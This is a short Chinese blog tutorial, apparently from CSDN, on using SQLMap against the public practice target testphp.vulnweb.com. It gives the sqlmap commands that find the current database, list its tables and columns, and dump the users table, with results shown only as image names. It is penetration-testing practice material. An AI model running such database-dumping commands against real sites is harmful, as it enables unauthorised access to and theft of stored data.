php mysql注入靶机_六步骤活用SQLMap(以testphp.vulnweb.com为测试靶机)

本文详细介绍了如何使用SQLMap工具对PHP MySQL注入靶机testphp.vulnweb.com进行渗透测试。首先,搭建Python 2.7.X和SQLMap环境;接着,通过ZAP等扫描工具发现SQL注入点。然后,利用SQLMap获取了当前数据库名称、表名、列名,并最终读取了指定表中的数据。
摘要由CSDN通过智能技术生成

1、搭建Python 2.7.X 和SQLmap环境;

2、使用web扫描工具(如ZAP等)找到SQL的可能注入点:“http://testphp.vulnweb.com/artists.php?artist=1”;

3、使用sqlmap 获取当前数据库名称

sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-db

运行结果如下:837b5272332b0e41bcdbf5ef8cf4625b.png

4、使用sqlmap 列表名

sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --table -D  acuart

运行结果如下:

ee912def04b32c4923ac2ae43a0b14d1.png

5、使用sqlmap 列字段名称

sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T users -D acuart -v 0

运行结果如下:

07b9989efbf95028312e959737518e43.png

6、使用sqlmap 获取字段内容

sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T users -D acuart -v 0

运行结果如下:

cc0287c0d7b7678042c476f5d2d9a9e5.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值